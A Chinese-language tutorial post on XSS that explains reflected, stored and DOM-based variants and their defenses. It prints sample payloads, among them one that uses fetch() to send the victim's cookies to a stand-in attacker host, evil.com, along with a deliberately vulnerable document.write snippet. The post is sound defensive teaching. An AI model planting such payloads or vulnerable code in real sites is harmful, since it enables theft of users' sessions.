XSS跨站脚本攻击:存储型、反射型与DOM型
上一篇讲了 SQL 注入,今天聊 Web 安全的另一个经典漏洞——XSS(Cross-Site Scripting,跨站脚本攻击)。虽然名字里有 SQL,但 XSS 跟数据库没直接关系,它的核心是利用网站对用户输入的盲目信任,把恶意脚本注入到页面里执行。
XSS 的本质
XSS 的攻击逻辑很简单:
网站把用户输入的内容直接回显到页面上,如果输入里包含
<script>之类的脚本标签,浏览器就会执行。
正常用户输入的是文字,黑客输入的是代码。网站没做过滤,代码就跟着页面一起渲染了。
根据攻击方式和数据存储位置的不同,XSS 分为三种类型:反射型、存储型、DOM 型。
一、反射型 XSS
原理
反射型 XSS 是最直接的一种。恶意脚本不存储在服务器上,而是通过 URL 参数、表单提交等方式"反射"回页面。
典型的攻击场景:
https://example.com/search?q=<script>alert('xss')</script>服务器接收到 q 参数,把它原样输出到搜索结果页:
<p>搜索结果:<script>alert('xss')</script></p>浏览器解析到这个 <script>,弹出 alert。如果是 alert(document.cookie),就能把用户的 Cookie 偷走。
特点
- 非持久化:脚本不保存到数据库,只存在于单次请求的响应中
- 需要诱导点击:攻击者需要把构造好的 URL 发给受害者(钓鱼邮件、短链接、论坛发帖)
- 危害相对可控:一次性的,不会影响其他用户
实际危害
反射型 XSS 常被用来:
- 窃取当前页面的 Cookie
- 构造钓鱼页面,诱导输入账号密码
- 执行页面跳转,把用户引导到恶意网站
二、存储型 XSS
原理
存储型 XSS 比反射型更危险,因为恶意脚本被永久存储在服务器端。
常见的入口:
- 评论框
- 用户昵称、个人简介
- 文章/帖子内容
- 留言板
黑客在评论区提交:
<script>fetch('https://evil.com/steal?c='+document.cookie)</script>这段脚本被存入数据库。之后每个浏览这条评论的用户,浏览器都会执行这段代码,Cookie 被悄悄发送到黑客的服务器。
特点
- 持久化:脚本存储在数据库/文件中,长期有效
- 影响范围广:所有访问该页面的用户都会中招
- 无需诱导:用户正常浏览就会触发
- 危害最大:蠕虫式传播,批量窃取数据
典型案例
2005 年 MySpace 的 Samy 蠕虫就是存储型 XSS。黑客 Samy 在个人资料里植入脚本,每个看了他主页的人,自动把这段脚本复制到自己主页,一小时内感染了 100 万用户。
三、DOM 型 XSS
原理
DOM 型 XSS 的特殊之处在于:服务器返回的 HTTP 响应本身是干净的,问题出在浏览器端的 JavaScript 代码。
比如前端代码这样写:
// 从 URL hash 读取内容并显示
const hash = location.hash.slice(1);
document.write('欢迎你,' + hash);攻击者构造 URL:
https://example.com/page#<img src=x onerror=alert(1)>document.write 把恶意 HTML 写进页面,onerror 事件触发脚本执行。
特点
- 不经过服务器:数据源可能是 URL hash、localStorage、postMessage 等
- 纯前端漏洞:后端防御无效,必须修复前端代码
- 隐蔽性强:传统 WAF 和后端过滤检测不到
防御措施
1. 输入过滤
永远不要相信用户输入。对特殊字符进行转义或过滤:
< → <
> → >
" → "
' → '
& → &2. 输出编码
根据输出位置选择正确的编码方式:
| 输出位置 | 编码方式 | 示例 |
|---|---|---|
| HTML 标签内 | HTML Entity 编码 | <script> |
| HTML 属性 | 属性编码 + 引号包裹 | href="..." |
| JavaScript | JS 字符串转义 | \x3cscript\x3e |
| URL | URL 编码 | %3Cscript%3E |
| CSS | CSS 编码 | \3c script \3e |
3. CSP(内容安全策略)
通过 HTTP 头限制页面能执行的脚本来源:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com配置了 CSP 后,内联脚本(<script>alert(1)</script>)默认会被浏览器阻止。
4. HttpOnly Cookie
设置 Cookie 时加 HttpOnly 标志:
Set-Cookie: session_id=xxx; HttpOnly; Secure这样 document.cookie 读不到这个 Cookie,即使 XSS 执行了也偷不走。
5. 前端框架自动防御
现代框架(React、Vue、Angular)默认会对插值表达式做 HTML 转义:
// React 会自动转义,输出的是纯文本
<div>{userInput}</div>但要注意: dangerouslySetInnerHTML、innerHTML、document.write 这些方法会绕过保护。
三种 XSS 对比
| 特性 | 反射型 | 存储型 | DOM 型 |
|---|---|---|---|
| 存储位置 | URL/表单参数 | 服务器数据库 | 前端 JS 变量 |
| 持久性 | 一次请求 | 长期有效 | 一次页面访问 |
| 传播方式 | 钓鱼诱导 | 正常浏览 | 钓鱼/正常浏览 |
| 检测难度 | 中等 | 容易 | 困难 |
| 防御重点 | 输出编码 | 输入过滤+输出编码 | 前端代码审计 |
| 危害程度 | ⭐⭐ | ⭐⭐⭐⭐⭐ | ⭐⭐⭐ |
总结
XSS 的本质是信任危机——网站信任了用户输入,浏览器信任了页面内容。
防御的核心就两点:
- 不信任任何输入,该过滤的过滤,该转义的转义
- 不信任任何输出,根据上下文选择正确的编码方式
再配合 CSP、HttpOnly Cookie 等策略,可以把 XSS 的风险降到很低。
下一篇预告:CSRF 跨站请求伪造——身份冒用的艺术。